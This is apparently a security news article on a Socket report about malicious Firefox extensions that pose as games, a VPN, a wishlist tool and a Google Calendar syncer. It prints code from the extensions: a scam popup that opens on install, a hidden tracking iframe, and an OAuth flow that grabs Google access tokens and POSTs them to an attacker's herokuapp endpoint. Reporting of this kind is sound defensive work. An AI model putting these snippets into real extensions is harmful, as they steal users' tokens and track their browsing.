Malicious Firefox Extensions Unmasked: Fake Games, VPNs, & Calendar Tools Hijack Traffic, Steal Crypto & OAuth Tokens

A new report by the Socket Threat Research Team has uncovered a sprawling network of malicious Firefox browser extensions designed to exploit user trust, hijack affiliate links, steal credentials, and even reroute traffic through attacker-controlled proxies. What began as an investigation into a single fake gaming extension quickly spiraled into the discovery of a multi-year campaign with sophisticated monetization and surveillance capabilities.

“Each extension masquerades as popular, well-known games to exploit user familiarity and trust,” notes the Socket team. “None of these extensions provide actual gaming functionality.”

The investigation started with a fraudulent version of Shell Shockers, but quickly expanded to include other popular titles: Little Alchemy 2, 1v1.LOL, Krunker io, Five Nights at Freddy’s, and Bubble Spinner. The extensions, created by a threat actor known as mre1903, had been hiding in plain sight since at least 2020—exploiting players’ trust in familiar games.

“By impersonating this beloved game, the extension immediately gains user trust and bypasses initial skepticism,” the report explains.

Instead of offering gameplay, the extensions automatically redirected users to scam destinations like fake Apple virus warnings. One piece of malicious code even triggered this behavior the moment the extension was installed:

// background.js
chrome.runtime.onInstalled.addListener(function() {
  chrome.windows.create({
    url: 'https://funformathgame[.]com/little-alchemy-2/',
    type: 'popup',
    width: 1200,
    height: 800
  });
});

These pop-ups often displayed fake error codes (like “0x800VDS”) and phishing support numbers designed to trick users into surrendering personal or financial information.

Socket’s report didn’t stop at fake games. The team uncovered a wider web of malicious extensions, all exploiting different user demographics:

GimmeGimme: The Affiliate Hijacker

Pretends to: Be a wishlist extension for major Dutch retailers like bol.com and coolblue.nl.

Actually does: Hijacks user shopping sessions and redirects through affiliate links to steal commissions.

“Users unknowingly generate revenue for attackers while being denied the promised functionality,” the report warns.

Worse still, this infrastructure could be repurposed for tracking, credential harvesting, or full malware delivery.

VPN Grab A Proxy Free: Proxy with a Price

Pretends to: Offer free VPN protection.

Actually does: Silently injects tracking iframes and routes all user traffic through attacker-controlled proxies.

// js/content.js
var iframe = document.createElement('iframe');
iframe.src = 'https://grabaproxy[.]com/track?uid=' + userId;
iframe.style.opacity = '0';
iframe.style.position = 'absolute';
iframe.style.zIndex = '-99';
document.body.appendChild(iframe);

This opens the door to man-in-the-middle attacks, logging of sensitive data, and decryption of HTTPS connections.

CalSyncMaster: OAuth Token Theft

Pretends to: Sync Google Calendar for convenience.

Actually does: Steals Google OAuth tokens via manipulated auth flows.

// background.js
chrome.identity.launchWebAuthFlow({
  url: 'https://accounts.google.com/o/oauth2/auth?...scope=https://www.googleapis.com/auth/calendar.readonly',
  interactive: true
}, function(redirectUrl) {
  const tokenMatch = redirectUrl.match(/access_token=([^&]+)/);
  if (tokenMatch) {
    const accessToken = tokenMatch[1];
    fetch('https://polar-shore-05125-b49ae913d73c[.]herokuapp[.]com/collect', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ token: accessToken })
    });
  }
});

“The stolen tokens remain valid until explicitly revoked… providing persistent access that may go undetected for months,” the report notes.

These tokens allow attackers to spy on personal meetings, company calendars, and even business operations—fuel for social engineering or corporate espionage.

From redirect fraud and phishing to OAuth abuse and network interception, this campaign demonstrates how browser extensions can evolve into full-fledged malware platforms. The modular, permission-rich nature of extensions makes them ideal for long-term threat actors seeking stealth and persistence.

Related Posts:

• Russian Hackers Abuse Microsoft 365 OAuth in Sophisticated Phishing Attacks
• Phishing for Profits: Attackers Mine Crypto & Spam Through OAuth Apps
• New Chrome and Firefox malicious extensions prevent user removal to hijack browsers
• Trojan Malware Infiltrates Browser Extensions, Impacts 300,000 Users
• Malicious Chrome Extension Infects Over 100,000 Users

Support Our Threat Intelligence

If you find our CVE report and cybersecurity news helpful, consider supporting our work.

Buy Me a Coffee PayPal

Crypto

USDT (TRC20):

TN8BdV8cp4T1Cd28gK9qTAnZknzzuwyUtm Copy

USDT (ERC20):

0x3725e1a7d3bc5765499fa6aaafe307fabcd75bce Copy